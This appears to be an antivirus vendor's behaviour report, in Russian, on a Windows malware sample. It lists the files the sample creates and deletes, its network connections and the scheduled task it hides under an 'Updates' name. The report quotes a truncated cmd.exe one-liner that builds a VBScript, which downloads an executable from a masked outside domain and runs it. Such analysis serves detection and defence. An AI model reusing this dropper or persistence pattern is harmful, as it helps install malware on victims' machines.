Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '%TEMP%\pes.exe'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\a6p.vbs
- %TEMP%\pes.exe
Удаляет следующие файлы
- %TEMP%\a6p.vbs
Сетевая активность
Подключается к
- 'ne#.##dnoduse.cz':80
UDP
- DNS ASK ne#.##dnoduse.cz
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\A6p.vbs"
- '<SYSTEM32>\cmd.exe' /c cd %temp% & @Echo A9m = "http://ne#.##dnoduse.cz/gaga.exe">>A6p.vbs &@echo R6z = H9a("pesNexe")>>A6p.vbs &@echo Set Q4t = CreateObject(H9a("msxmlRNxmlhttp"))>>A6p.vbs &@echo Q4t.Open H9a("...' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\igTyBmvbqKw" /XML "%TEMP%\tmpF298.tmp"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c cd %temp% & @Echo A9m = "http://ne#.##dnoduse.cz/gaga.exe">>A6p.vbs &@echo R6z = H9a("pesNexe")>>A6p.vbs &@echo Set Q4t = CreateObject(H9a("msxmlRNxmlhttp"))>>A6p.vbs &@echo Q4t.Open H9a("...
- '<SYSTEM32>\timeout.exe' 13
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\igTyBmvbqKw" /XML "%TEMP%\tmpF298.tmp"
